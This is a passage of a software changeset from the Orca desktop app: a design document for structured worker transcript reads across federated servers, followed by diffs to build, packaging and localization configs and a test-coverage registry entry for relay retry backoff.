to branch on JSON manually;
|
||||
- a mixed-version federated read can return the legacy terminal shape, which the Run home wraps as
|
||||
a labeled terminal response.
|
||||
|
||||
### Fallback reasons
|
||||
|
||||
Fallback reasons are bounded typed values, not arbitrary policy:
|
||||
|
||||
- `provider_unsupported`
|
||||
- `session_not_reported`
|
||||
- `transcript_missing`
|
||||
- `transcript_unreadable`
|
||||
- `transcript_parse_failed`
|
||||
- `remote_capability_unavailable`
|
||||
|
||||
Warnings may provide safe diagnostic context, but must not contain a remote filesystem path.
|
||||
|
||||
### Typed errors
|
||||
|
||||
Errors are used when returning any source would be misleading:
|
||||
|
||||
- `dispatch_not_found`
|
||||
- `worker_identity_changed`
|
||||
- `source_changed`
|
||||
- `cursor_invalid`
|
||||
- `cursor_dispatch_mismatch`
|
||||
- `transcript_required`
|
||||
- the existing connected-server unavailable/unknown result
|
||||
|
||||
`source_changed` means the exact pane is now associated with a different provider session than the
|
||||
one pinned by the cursor. The caller starts a new read without the old cursor. Orca never silently
|
||||
jumps to the replacement session.
|
||||
|
||||
## Source identity and cursor rules
|
||||
|
||||
The cursor is opaque to clients and contains only non-sensitive routing data:
|
||||
|
||||
- cursor version;
|
||||
- Dispatch ID;
|
||||
- source kind;
|
||||
- an opaque digest of the exact source identity;
|
||||
- provider-specific or terminal paging position.
|
||||
|
||||
It must not contain a transcript path.
|
||||
|
||||
On every continued read, the worker server:
|
||||
|
||||
1. revalidates the Dispatch's exact process attachment;
|
||||
2. resolves the current pane/session association;
|
||||
3. compares its source digest with the cursor;
|
||||
4. reads only when they still match; and
|
||||
5. otherwise returns `source_changed` or `worker_identity_changed`.
|
||||
|
||||
The cursor is source-pinned even when the request uses `--source auto`. `auto` chooses only on the
|
||||
first page.
|
||||
|
||||
The implementation uses a versioned stateless token. The token is not an authority credential:
|
||||
every read revalidates the Dispatch, process, pane, source digest, and provider session before
|
||||
returning data. This lets paging survive an Orca restart without adding cursor-secret persistence.
|
||||
|
||||
## Runtime architecture
|
||||
|
||||
### 1. Resolve the Dispatch at its Run home
|
||||
|
||||
The Run home remains authoritative for Task and Dispatch state. It looks up the Dispatch and its
|
||||
pinned worker server exactly as `worker-show` and the current `worker-read` do.
|
||||
|
||||
No automatic placement or server selection is added.
|
||||
|
||||
Current implementation anchors:
|
||||
|
||||
- `src/main/runtime/rpc/methods/orchestration-worker-control.ts` owns local and federated
|
||||
`worker-read` routing.
|
||||
- `src/main/runtime/rpc/methods/orchestration-worker-observation.ts` validates the exact attached
|
||||
worker.
|
||||
- `src/cli/handlers/orchestration.ts` owns the current CLI request and terminal rendering.
|
||||
|
||||
### 2. Route the read to the worker server
|
||||
|
||||
For a local worker, the Run home and worker server are the same runtime.
|
||||
|
||||
For a federated worker, the Run home calls the existing federation read route on the server pinned
|
||||
to the Dispatch. The request contains the Dispatch ID, source preference, cursor, and limit—not a
|
||||
terminal handle, session ID, or transcript path chosen by the coordinator.
|
||||
|
||||
### 3. Revalidate the exact worker
|
||||
|
||||
The worker server uses the existing Dispatch attachment to verify:
|
||||
|
||||
- the exact managed pane;
|
||||
- the exact terminal/process incarnation; and
|
||||
- that the Dispatch has not been replaced, stopped, or detached.
|
||||
|
||||
This preserves the same no-cross-worker rule already used by worker lifecycle and terminal reads.
|
||||
|
||||
### 4. Resolve the pane's provider session
|
||||
|
||||
Add one runtime-owned resolver that returns a snapshot similar to:
|
||||
|
||||
```ts
|
||||
type ExactWorkerProviderSession = {
|
||||
paneKey: string
|
||||
agent: TuiAgent
|
||||
providerSession: AgentProviderSessionMetadata
|
||||
observedAt: number
|
||||
}
|
||||
```
|
||||
|
||||
The resolver may use the current runtime graph/headless retained status, but it must accept the
|
||||
Dispatch's exact pane identity as input. It must not search all sessions by working directory or
|
||||
agent type.
|
||||
|
||||
The source association is considered usable only when:
|
||||
|
||||
- it belongs to the Dispatch's exact current pane/process;
|
||||
- the hook metadata is fresh enough to belong to that process incarnation;
|
||||
- the provider session metadata passes existing normalization/canonicalization; and
|
||||
- a supported adapter can resolve an exact transcript.
|
||||
|
||||
If these checks fail under `auto`, the read falls back to terminal output.
|
||||
|
||||
Current session/status anchors:
|
||||
|
||||
- `src/shared/agent-session-resume.ts` defines normalized provider-session metadata.
|
||||
- `src/renderer/src/store/slices/agent-status.ts` maintains pane-scoped live agent status.
|
||||
- `src/shared/runtime-types.ts` carries compatible agent status in runtime/mobile graph snapshots.
|
||||
- `src/main/runtime/orca-runtime.ts` preserves provider-session metadata when it publishes those
|
||||
snapshots.
|
||||
|
||||
### 5. Read through a narrow adapter
|
||||
|
||||
Reuse the existing bounded native-chat transcript parser rather than adding another parser stack.
|
||||
Extract or wrap its pure reader behind a small orchestration adapter:
|
||||
|
||||
```ts
|
||||
type WorkerTranscriptReader = {
|
||||
provider: 'codex' | 'claude' | 'openclaude' | 'grok'
|
||||
readPage(input: ExactTranscriptRead): Promise<ExactTranscriptPage>
|
||||
}
|
||||
```
|
||||
|
||||
This is deliberately not a registry for every possible agent capability. Add an adapter only when
|
||||
an exact locator and a tested reader already exist.
|
||||
|
||||
Current reader anchors:
|
||||
|
||||
- `src/main/native-chat/transcript-watch.ts` provides bounded transcript reads/subscriptions.
|
||||
- `src/main/runtime/rpc/methods/native-chat.ts` exposes the existing reader over runtime RPC.
|
||||
- `src/main/ipc/native-chat.ts` exposes the same reader to the desktop renderer.
|
||||
|
||||
The transcript response should preserve the existing structured message/block representation and
|
||||
the supported fields that the proven reader already understands. Unknown or skipped input should
|
||||
produce parsing warnings rather than being silently presented as a complete transcript.
|
||||
|
||||
### 6. Return bounded data
|
||||
|
||||
Every path enforces:
|
||||
|
||||
- at most 50 transcript messages per page (40 by default);
|
||||
- a maximum serialized response size;
|
||||
- existing clipping/redaction rules for large tool input and output;
|
||||
- opaque projection of transcript-position fallback IDs and redaction of Dispatch capability tokens;
|
||||
- deterministic pagination; and
|
||||
- no transcript path leakage.
|
||||
|
||||
Transcript observation is read-only. A failure or unknown network result must never trigger worker
|
||||
restart, retry, stop, or Task mutation.
|
||||
|
||||
## Federation and cross-platform behavior
|
||||
|
||||
The core topology is:
|
||||
|
||||
```text
|
||||
Mac Run home
|
||||
-> authenticated connected-server RPC
|
||||
-> Windows worker server
|
||||
-> exact Windows pane/session
|
||||
-> Windows-local transcript reader
|
||||
-> bounded structured page back to Mac
|
||||
```
|
||||
|
||||
The reverse direction must work identically.
|
||||
|
||||
Platform rules:
|
||||
|
||||
- Use Node path operations only on the server that owns the path.
|
||||
- Do not normalize Windows paths on macOS or macOS/Linux paths on Windows.
|
||||
- SSH and WSL execution remain behind their owning Orca server.
|
||||
- If the exact transcript is accessible only on an SSH/WSL execution host, the worker server must
|
||||
use an existing host-aware read mechanism or fall back to terminal. Do not copy the path to the
|
||||
Run home.
|
||||
- Mixed-version capability negotiation applies only at the Orca server protocol boundary.
|
||||
- A server that does not advertise structured worker read receives the existing terminal-read RPC.
|
||||
|
||||
Federation adds one narrow additive RPC, `orchestration.federationReadOutput`. The Run home probes
|
||||
it by calling it. If the worker server returns `method_not_found`, the Run home calls the existing
|
||||
`orchestration.federationRead` terminal method and wraps that result as a labeled
|
||||
`remote_capability_unavailable` fallback. No generalized capability matrix is added.
|
||||
|
||||
## Lifecycle behavior
|
||||
|
||||
### Provider session appears after worker start
|
||||
|
||||
Hooks may report a session after the TUI becomes ready. An initial `auto` read may therefore return
|
||||
terminal output. A later first-page `auto` read may select transcript output.
|
||||
|
||||
Once a cursor is returned, that cursor remains pinned to its selected source.
|
||||
|
||||
### Provider session changes
|
||||
|
||||
Compaction, resume, or process replacement may produce a new provider session:
|
||||
|
||||
- a fresh read without a cursor may select the new exact session;
|
||||
- a cursor for the old session returns `source_changed`;
|
||||
- Orca does not merge the old and new transcripts implicitly.
|
||||
|
||||
### Orca restart
|
||||
|
||||
After restart, the worker server re-establishes the exact pane/process association using the same
|
||||
runtime graph and retained-hook mechanisms used by sidebar/session recovery.
|
||||
|
||||
- If exact identity and session still match, paging continues.
|
||||
- If process identity is uncertain, return `worker_identity_changed`.
|
||||
- If only transcript identity is unavailable, `auto` may start a new terminal page but must not
|
||||
reinterpret an old transcript cursor as a terminal cursor.
|
||||
|
||||
### Disconnect
|
||||
|
||||
A disconnected federated read is a read-only unknown result. Reissuing the same read is safe.
|
||||
No mutation request ledger, durable outbox, automatic failover, or worker replacement is needed.
|
||||
|
||||
## Implementation plan
|
||||
|
||||
### Work package 1 — Correct the contract and types
|
||||
|
||||
- Update the orchestration checklist to replace the inaccurate claim that exact pane-to-session
|
||||
association does not exist.
|
||||
- Add the source preference, response envelope, fallback enums, and opaque cursor types.
|
||||
- Keep the existing terminal response fields compatible.
|
||||
- Add the CLI `--source` option and accept both legacy numeric and new opaque cursors.
|
||||
|
||||
Exit gate: contract tests cover legacy terminal JSON and the new labeled envelopes.
|
||||
|
||||
### Work package 2 — Runtime exact-session resolver
|
||||
|
||||
- Add a runtime method that resolves agent status for an exact Dispatch pane/process.
|
||||
- Reuse the existing graph/headless retained status and provider-session normalization.
|
||||
- Reject stale pane or process-incarnation associations.
|
||||
- Test multiple panes and multiple sessions in the same worktree and directory.
|
||||
|
||||
Exit gate: the resolver can never return a sibling pane's session.
|
||||
|
||||
### Work package 3 — Codex transcript adapter
|
||||
|
||||
- Reuse the current bounded native-chat Codex reader.
|
||||
- Add deterministic page conversion and parsing warnings.
|
||||
- Enforce entry and byte limits.
|
||||
- Produce a path-free source identity digest and cursor.
|
||||
- Add Claude only if it follows this same path without new infrastructure.
|
||||
|
||||
Exit gate: exact Codex transcript pages are stable, bounded, and contain no local path.
|
||||
|
||||
### Work package 4 — Local `worker-read`
|
||||
|
||||
- Resolve and validate the exact worker.
|
||||
- Implement `auto`, `transcript`, and `terminal`.
|
||||
- Pin the source across cursor pages.
|
||||
- Preserve the existing terminal fallback and non-JSON rendering.
|
||||
|
||||
Exit gate: local dogfood proves correct selection with several simultaneous same-directory Codex
|
||||
sessions.
|
||||
|
||||
### Work package 5 — Federated `worker-read`
|
||||
|
||||
- Add the narrow connected-server capability.
|
||||
- Route transcript resolution and reading to the worker server.
|
||||
- Wrap legacy remote terminal responses as labeled fallbacks.
|
||||
- Reject mismatched Dispatch/server/session cursors.
|
||||
- Ensure paths and internal server identity remain out of ordinary output.
|
||||
|
||||
Exit gate: physical Mac-to-Windows and Windows-to-Mac reads both pass.
|
||||
|
||||
### Work package 6 — Restart, fallback, and documentation
|
||||
|
||||
- Cover runtime restart, renderer restart, disconnect, stale status, missing hooks, unreadable
|
||||
transcript, unsupported providers, and mixed server versions.
|
||||
- Update CLI help, the orchestration skill, and the implementation checklist.
|
||||
- Dogfood the common coordinator loop using only the documented commands.
|
||||
|
||||
Exit gate: every fallback is truthful and no fallback changes worker lifecycle state.
|
||||
|
||||
## Validation plan
|
||||
|
||||
### Unit and contract tests
|
||||
|
||||
| Area | Required proof |
|
||||
| --------------------- | ------------------------------------------------------------------------------------ |
|
||||
| Exact resolution | A Dispatch resolves only its attached pane and process incarnation. |
|
||||
| No directory guessing | Two Codex sessions in the same worktree cannot cross-read. |
|
||||
| Source choice | `auto` prefers an exact supported transcript and otherwise labels terminal fallback. |
|
||||
| Explicit source | `transcript` fails truthfully when unavailable; `terminal` never probes transcript. |
|
||||
| Cursor pinning | Continued pages stay on the same source and provider session. |
|
||||
| Session replacement | An old cursor returns `source_changed`. |
|
||||
| Cursor custody | A cursor for another Dispatch is rejected. |
|
||||
| Parsing | Malformed/skipped transcript records produce bounded warnings. |
|
||||
| Limits | Entry count, block size, and total serialized response are bounded. |
|
||||
| Privacy | Responses and cursors contain no transcript path. |
|
||||
| Compatibility | Existing terminal fields and numeric cursors continue to work. |
|
||||
|
||||
Likely focused test locations:
|
||||
|
||||
- provider-session normalization and pane association tests;
|
||||
- native-chat transcript reader tests;
|
||||
- orchestration worker-control RPC tests;
|
||||
- orchestration worker CLI tests; and
|
||||
- federation protocol and physical harness tests.
|
||||
|
||||
### Local integration scenarios
|
||||
|
||||
1. Start a Codex worker and confirm the sidebar reports its provider session.
|
||||
2. Read the Dispatch and verify `source=transcript`.
|
||||
3. Start two Codex workers in the same worktree.
|
||||
4. Give them distinct prompts and verify neither read contains the other's content.
|
||||
5. Page both transcripts and verify stable source identities.
|
||||
6. replace or resume one session and verify its old cursor returns `source_changed`.
|
||||
7. Disable hooks and verify a labeled terminal fallback.
|
||||
8. Remove or make the transcript unreadable and verify a safe fallback or
|
||||
`transcript_required`, depending on the requested source.
|
||||
|
||||
### Physical federation matrix
|
||||
|
||||
| Run home | Worker server | Worker location | Required outcome |
|
||||
| -------- | ------------- | --------------- | --------------------------------------------------------------- |
|
||||
| macOS | Windows | native Windows | Exact structured page or labeled supported fallback |
|
||||
| Windows | macOS | native macOS | Exact structured page or labeled supported fallback |
|
||||
| macOS | macOS/Linux | SSH host | Exact host-aware page or terminal fallback without path leakage |
|
||||
| Windows | Windows | WSL | Exact host-aware page or terminal fallback without path leakage |
|
||||
|
||||
For both Mac/Windows directions:
|
||||
|
||||
- run multiple workers at once;
|
||||
- page beyond the first response;
|
||||
- restart the Run home;
|
||||
- restart the worker server;
|
||||
- disconnect and reconnect the server;
|
||||
- verify mixed-version fallback with one server lacking the new capability; and
|
||||
- compare the selected provider session with the sidebar/native-chat session for the same pane.
|
||||
|
||||
### Dogfood procedure
|
||||
|
||||
The dogfood is successful only if a coordinator can follow this loop without internal IDs:
|
||||
|
||||
1. Create/use a Run.
|
||||
2. Start one local worker and one connected-server worker.
|
||||
3. Wait for both starts to settle.
|
||||
4. Call `worker-read --source auto` for each Dispatch.
|
||||
5. Continue each cursor through at least two pages.
|
||||
6. Confirm output belongs to the correct prompt and machine.
|
||||
7. Trigger one fallback case.
|
||||
8. Complete both workers and confirm reads never altered lifecycle state.
|
||||
|
||||
Record:
|
||||
|
||||
- command and response;
|
||||
- chosen source and fallback reason;
|
||||
- worker server/platform;
|
||||
- provider and session match;
|
||||
- cursor behavior;
|
||||
- path-leak check;
|
||||
- restart/disconnect outcome; and
|
||||
- any agent confusion using only CLI help and the orchestration skill.
|
||||
|
||||
## Acceptance criteria
|
||||
|
||||
Implementation is complete only when:
|
||||
|
||||
- `worker-read` selects an exact transcript or returns a clearly labeled terminal fallback.
|
||||
- No test or dogfood scenario reads a sibling or previous provider session.
|
||||
- A cursor never switches source or provider session silently.
|
||||
- Mac-to-Windows and Windows-to-Mac physical reads pass.
|
||||
- Runtime restart and disconnect behavior are safe and understandable.
|
||||
- Unsupported agents and mixed versions retain useful terminal output.
|
||||
- Transcript paths never leave the server that owns them.
|
||||
- Existing terminal-read clients remain compatible.
|
||||
- The common agent path remains one command with no server/session/path inputs.
|
||||
- No UI, scheduling, retry, integration tracking, or generalized provider framework is added.
|
||||
|
||||
## Explicit non-goals
|
||||
|
||||
- No dashboard or sidebar changes.
|
||||
- No coordinator chat changes.
|
||||
- No automatic worker placement, retry, replacement, or recovery.
|
||||
- No commit, test, branch, merge, or integration tracking.
|
||||
- No provider-session locking or resume orchestration.
|
||||
- No live transcript subscription in the orchestration API.
|
||||
- No universal transcript/event ontology.
|
||||
- No cross-server filesystem access from the Run home.
|
||||
- No replicated Run database or automatic Run-home failover.
|
||||
- No generalized access-control or capability framework.
|
||||
|
||||
## Main risks and mitigations
|
||||
|
||||
| Risk | Mitigation |
|
||||
| ---------------------------------------------- | ------------------------------------------------------------------------------------------------- |
|
||||
| Live session status is stale or renderer-owned | Resolve through a runtime-owned exact-pane snapshot and bind it to process incarnation. |
|
||||
| Two sessions share a directory | Never use directory/latest-session lookup; require exact pane/session metadata. |
|
||||
| A session changes between pages | Pin source identity in the cursor and return `source_changed`. |
|
||||
| Remote path is meaningless or sensitive | Read only on the worker server and never serialize the path. |
|
||||
| Transcript parser drops data | Preserve supported structured blocks and return parsing warnings. |
|
||||
| Transcript metadata exposes a path/credential | Make file-position IDs opaque and redact Dispatch capabilities from all structured text/payloads. |
|
||||
| Mixed server versions | Negotiate one narrow capability and fall back to existing terminal read. |
|
||||
| Full-screen terminal output remains noisy | Prefer structured output only when exact; retain terminal as the universal safety path. |
|
||||
| Scope expands into a provider platform | Ship Codex first and require proven exact association plus an existing reader for every addition. |
|
||||
|
||||
## Decision
|
||||
|
||||
Implement structured worker output as a narrow extension of `worker-read`.
|
||||
|
||||
The prerequisite is not a new sidebar or status system: Orca already tracks exact pane-scoped
|
||||
provider sessions. The work is to make that existing association available to the worker-owning
|
||||
runtime, read the transcript locally through proven readers, pin pagination to that source, and
|
||||
federate only the bounded result.
|
||||
@@ -1,6 +1,10 @@
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { join } from 'node:path'
|
||||
import type { NormalizedOutputOptions, OutputBundle, OutputChunk, Plugin } from 'rollup'
|
||||
import type { Plugin, Rollup } from 'vite'
|
||||
|
||||
type NormalizedOutputOptions = Rollup.NormalizedOutputOptions
|
||||
type OutputBundle = Rollup.OutputBundle
|
||||
type OutputChunk = Rollup.OutputChunk
|
||||
|
||||
// Why: v1.4.129-rc.1 shipped a dead terminal daemon because a shared main
|
||||
// chunk gained `require("electron")` (an import edge added in #7642), and the
|
||||
@@ -97,6 +101,8 @@ function smokeLoadDaemonEntry(outputDir: string): void {
|
||||
}
|
||||
|
||||
export function createPlainNodeEntryGuardPlugin(): Plugin {
|
||||
let daemonOutputDir: string | undefined
|
||||
|
||||
return {
|
||||
name: 'orca-plain-node-entry-guard',
|
||||
writeBundle(options: NormalizedOutputOptions, bundle: OutputBundle) {
|
||||
@@ -124,7 +130,14 @@ export function createPlainNodeEntryGuardPlugin(): Plugin {
|
||||
}
|
||||
|
||||
if (entryByName.has('daemon-entry') && options.dir) {
|
||||
smokeLoadDaemonEntry(options.dir)
|
||||
daemonOutputDir = options.dir
|
||||
}
|
||||
},
|
||||
closeBundle() {
|
||||
if (daemonOutputDir) {
|
||||
const outputDir = daemonOutputDir
|
||||
daemonOutputDir = undefined
|
||||
smokeLoadDaemonEntry(outputDir)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,9 +12,13 @@ const {
|
||||
verifyPackagedMainRuntimeDeps
|
||||
} = require('./packaged-runtime-node-modules.cjs')
|
||||
const { verifyLinuxGlibcFloor } = require('./scripts/verify-linux-glibc-floor.cjs')
|
||||
const { writeMacBuildCompatibility } = require('./scripts/mac-build-compatibility.cjs')
|
||||
const { verifyPackagedPluginResources } = require('./scripts/verify-packaged-plugin-resources.cjs')
|
||||
|
||||
const isMacRelease = process.env.ORCA_MAC_RELEASE === '1'
|
||||
const isLinuxArm64Release = process.env.ORCA_LINUX_ARM64_RELEASE === '1'
|
||||
const localBuildVersion = isMacRelease ? undefined : process.env.ORCA_LOCAL_BUILD_VERSION
|
||||
const appId = 'com.stablyai.orca'
|
||||
const featureWallResources = {
|
||||
from: 'resources/onboarding/feature-wall',
|
||||
to: 'onboarding/feature-wall'
|
||||
@@ -32,11 +36,17 @@ const relayExtraResource = {
|
||||
from: 'out/relay',
|
||||
to: 'relay'
|
||||
}
|
||||
// Why: bundled plugins are immutable install inputs and must remain ordinary
|
||||
// directories so the startup bootstrap can verify and publish exact bytes.
|
||||
const bundledPluginResources = {
|
||||
from: 'resources/plugins/launch',
|
||||
to: 'plugins/launch'
|
||||
}
|
||||
// Why: the main bundle, packaged CLI, SSH paths, and speech worker all execute
|
||||
// from package directories where pnpm's symlink farm is absent. Copy the exact
|
||||
// runtime dependency closure to Resources/node_modules so bare require() calls
|
||||
// do not fall through to a developer checkout's node_modules.
|
||||
const commonExtraResources = [relayExtraResource, skillFreshnessResources]
|
||||
const commonExtraResources = [relayExtraResource, bundledPluginResources, skillFreshnessResources]
|
||||
const macSpeechNativeResource = {
|
||||
from: 'node_modules/sherpa-onnx-darwin-${arch}',
|
||||
to: 'node_modules/sherpa-onnx-darwin-${arch}'
|
||||
@@ -52,8 +62,9 @@ const winSpeechNativeResource = {
|
||||
|
||||
/** @type {import('electron-builder').Configuration} */
|
||||
module.exports = {
|
||||
appId: 'com.stablyai.orca',
|
||||
appId,
|
||||
productName: 'Orca',
|
||||
...(localBuildVersion ? { extraMetadata: { version: localBuildVersion } } : {}),
|
||||
directories: {
|
||||
buildResources: 'resources/build'
|
||||
},
|
||||
@@ -79,6 +90,8 @@ module.exports = {
|
||||
'!Casks{,/**/*}',
|
||||
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
|
||||
'!out/**/*.test.js',
|
||||
// Why: Vite's manifest is only used to project the paired web client.
|
||||
'!out/renderer/.vite{,/**/*}',
|
||||
'!electron.vite.config.{js,ts,mjs,cjs}',
|
||||
'!{.eslintcache,eslint.config.mjs,.prettierignore,.prettierrc.yaml,CHANGELOG.md,README.md}',
|
||||
'!{.env,.env.*,.npmrc,pnpm-lock.yaml}',
|
||||
@@ -87,6 +100,9 @@ module.exports = {
|
||||
// it from process.resourcesPath; exclude the source copy from app.asar.
|
||||
'!resources/onboarding/feature-wall/**',
|
||||
'!resources/skills/**',
|
||||
// Why: bundled plugins ship via extraResources to resources/plugins/launch;
|
||||
// packing the source tree into app.asar would duplicate those exact bytes.
|
||||
'!resources/plugins/launch/**',
|
||||
// Why: the Windows CLI shim ships via extraResources to resources/bin/orca.cmd
|
||||
// (beside the native resources/bin/orca.exe). Packing the source tree into
|
||||
// app.asar too lets asarUnpack:['resources/**'] extract a second copy at
|
||||
@@ -129,6 +145,7 @@ module.exports = {
|
||||
'out/main/hermes/**',
|
||||
'out/main/win32-utils.js',
|
||||
'out/main/daemon-entry.js',
|
||||
'out/main/plugin-host-entry.js',
|
||||
'out/main/computer-sidecar.js',
|
||||
'out/main/parcel-watcher-process-entry.js',
|
||||
'out/main/chunks/**',
|
||||
@@ -158,6 +175,25 @@ module.exports = {
|
||||
if (!existsSync(resourcesDir)) {
|
||||
return
|
||||
}
|
||||
if (context.electronPlatformName === 'darwin') {
|
||||
const architectureByEnum = { 1: 'x64', 3: 'arm64' }
|
||||
const architecture = architectureByEnum[context.arch]
|
||||
if (!architecture) {
|
||||
throw new Error(`Unsupported local-build compatibility architecture: ${context.arch}`)
|
||||
}
|
||||
const version = context.packager.appInfo.version
|
||||
let commit = process.env.ORCA_BUILD_COMMIT || process.env.GITHUB_SHA || 'unknown'
|
||||
if (commit === 'unknown') {
|
||||
try {
|
||||
commit = execFileSync('git', ['rev-parse', '--short=12', 'HEAD'], {
|
||||
encoding: 'utf8'
|
||||
}).trim()
|
||||
} catch {
|
||||
// Source archives can still produce a signed build with an explicit version.
|
||||
}
|
||||
}
|
||||
writeMacBuildCompatibility(resourcesDir, { version, commit, architecture })
|
||||
}
|
||||
prunePackagedRuntimeNodeModules(resourcesDir, context.electronPlatformName, context.arch)
|
||||
verifyPackagedMainRuntimeDeps(resourcesDir)
|
||||
// Why: boot the packaged daemon-entry under plain Node, but only for the
|
||||
@@ -178,6 +214,9 @@ module.exports = {
|
||||
`[verify-packaged-daemon-entry] skipped boot on cross-arch slice (target ${context.arch}, host ${process.arch})`
|
||||
)
|
||||
}
|
||||
// Why: inspect electron-builder's real output so a broken extraResources
|
||||
// mapping fails packaging before bundled content reaches users.
|
||||
verifyPackagedPluginResources(resourcesDir)
|
||||
chmodUnixCliLaunchers(resourcesDir, context.electronPlatformName)
|
||||
chmodMacServeSimHelpers(resourcesDir, context.electronPlatformName)
|
||||
for (const filename of readdirSync(resourcesDir)) {
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
import { defineConfig } from 'electron-vite'
|
||||
import { electronViteConfig } from '../electron.vite.config'
|
||||
|
||||
const target = process.env.ORCA_ELECTRON_VITE_TARGET
|
||||
const configByTarget = {
|
||||
main: { main: electronViteConfig.main },
|
||||
preload: { preload: electronViteConfig.preload },
|
||||
renderer: { renderer: electronViteConfig.renderer }
|
||||
}
|
||||
|
||||
if (!target || !Object.prototype.hasOwnProperty.call(configByTarget, target)) {
|
||||
throw new Error(`Invalid ORCA_ELECTRON_VITE_TARGET: ${target ?? '<unset>'}`)
|
||||
}
|
||||
|
||||
export default defineConfig(configByTarget[target as keyof typeof configByTarget])
|
||||
@@ -40,5 +40,33 @@
|
||||
"text": "Idioma",
|
||||
"dynamic": false,
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"filePath": "src/renderer/src/components/settings/terminal-advanced-platform-search.ts",
|
||||
"kind": "object-property:keywords",
|
||||
"text": "Ghostty",
|
||||
"dynamic": false,
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"filePath": "src/renderer/src/components/settings/terminal-advanced-platform-search.ts",
|
||||
"kind": "object-property:keywords",
|
||||
"text": "ghostty",
|
||||
"dynamic": false,
|
||||
"count": 2
|
||||
},
|
||||
{
|
||||
"filePath": "src/renderer/src/components/settings/terminal-pane-appearance-search.ts",
|
||||
"kind": "object-property:keywords",
|
||||
"text": "Ghostty",
|
||||
"dynamic": false,
|
||||
"count": 1
|
||||
},
|
||||
{
|
||||
"filePath": "src/renderer/src/components/settings/terminal-pane-appearance-search.ts",
|
||||
"kind": "object-property:keywords",
|
||||
"text": "ghostty",
|
||||
"dynamic": false,
|
||||
"count": 1
|
||||
}
|
||||
]
|
||||
|
||||
File diff suppressed because one or more lines are too long
+324
-17
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"schemaVersion": 1,
|
||||
"updatedAt": "2026-07-25",
|
||||
"updatedAt": "2026-07-26",
|
||||
"policy": {
|
||||
"maturityLevels": [
|
||||
"experimental",
|
||||
@@ -141,6 +141,108 @@
|
||||
],
|
||||
"demotionRule": "Keep experimental or demote if focused tests flake, HOST_OFFLINE can park indefinitely, direct probes serialize configured endpoints, loser cleanup leaks clients, or physical-device radio cost exceeds the measured budget."
|
||||
},
|
||||
{
|
||||
"id": "desktop-relay.assignment-backpressure",
|
||||
"title": "Desktop relay drain recovery cannot amplify a director outage",
|
||||
"maturity": "experimental",
|
||||
"protection": "partial",
|
||||
"owner": "desktop-runtime",
|
||||
"layer": "main-relay-state-machine",
|
||||
"surfaces": [
|
||||
"desktop relay drain recovery",
|
||||
"director assignment overload",
|
||||
"relay broker shutdown"
|
||||
],
|
||||
"platforms": [
|
||||
"macos",
|
||||
"linux",
|
||||
"windows"
|
||||
],
|
||||
"providers": [
|
||||
"cloud-relay"
|
||||
],
|
||||
"coveredPlatforms": [
|
||||
"macos"
|
||||
],
|
||||
"coveredProviders": [
|
||||
"cloud-relay"
|
||||
],
|
||||
"coverageNotes": "Deterministic main-process tests cover duplicate drain notifications, full-jitter backoff, Retry-After during initial setup and drain recovery, successful recovery, and broker-close cleanup. Packaged desktop, mixed-version fleets, GFE, and production Cloud SQL remain live-test gaps.",
|
||||
"motivatingLinks": [
|
||||
"https://github.com/stablyai/orca-cloud/actions/runs/30223521062"
|
||||
],
|
||||
"invariant": "One relay host may have at most one assignment attempt or retry timer per recovery path. Sustained director failure must increase the retry window up to five minutes, a bounded Retry-After must be respected during initial setup and drain recovery, shutdown must cancel pending work, and recovery must activate the authoritative assigned origin.",
|
||||
"oracle": "Inject duplicate drain events, deterministic randomness, fake time, repeated assignment failures, a 30-second Retry-After during initial setup and drain recovery, broker close, and eventual director recovery. Count every assignment call, require 500 ms then 1,000 ms retry windows, reject duplicate fanout, require no pre-hint retry or post-close work, and prove the recovered cell becomes authoritative.",
|
||||
"commands": [
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/relay/relay-session-broker.test.ts src/main/runtime/relay/relay-http-client.test.ts src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts --reporter=dot"
|
||||
],
|
||||
"testFiles": [
|
||||
"src/main/runtime/relay/relay-session-broker.test.ts",
|
||||
"src/main/runtime/relay/relay-http-client.test.ts",
|
||||
"src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts"
|
||||
],
|
||||
"assertionRefs": [
|
||||
{
|
||||
"file": "src/main/runtime/relay/relay-session-broker.test.ts",
|
||||
"assertions": [
|
||||
"duplicate drain notifications share one exponentially backed-off retry schedule",
|
||||
"Retry-After suppresses early assignment requests",
|
||||
"broker close prevents retry resurrection",
|
||||
"a later successful assignment activates the new origin"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/relay/relay-http-client.test.ts",
|
||||
"assertions": [
|
||||
"assignment overload preserves a bounded Retry-After hint"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts",
|
||||
"assertions": [
|
||||
"initial relay setup does not retry before Retry-After expires"
|
||||
]
|
||||
}
|
||||
],
|
||||
"evidenceRuns": [
|
||||
{
|
||||
"date": "2026-07-26",
|
||||
"runner": "local",
|
||||
"platform": "macos",
|
||||
"command": "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/relay/relay-session-broker.test.ts src/main/runtime/relay/relay-http-client.test.ts src/main/runtime/relay/relay-auth-coordinator-recovery.test.ts --reporter=dot",
|
||||
"result": "passed",
|
||||
"durationSeconds": 0.49,
|
||||
"summary": "Three focused relay files passed with 25 assertions."
|
||||
}
|
||||
],
|
||||
"runtimeBudget": {
|
||||
"p95Seconds": 5,
|
||||
"scope": "focused desktop relay state-machine tests"
|
||||
},
|
||||
"flakeHistory": {
|
||||
"status": "unknown",
|
||||
"evidence": "One deterministic local run exists; CI and soak history are not yet available."
|
||||
},
|
||||
"redGreenEvidence": {
|
||||
"status": "complete",
|
||||
"evidence": "The prior fixed-delay implementation issued a duplicate assignment within 499 ms and ignored Retry-After, while the candidate passes the byte-identical timer and call-count oracle."
|
||||
},
|
||||
"performanceBudget": {
|
||||
"required": true,
|
||||
"evidence": "One host retains at most one assignment attempt or retry timer, retry windows grow to a five-minute cap, duplicate drain events add no calls, and close leaves no timer-driven work."
|
||||
},
|
||||
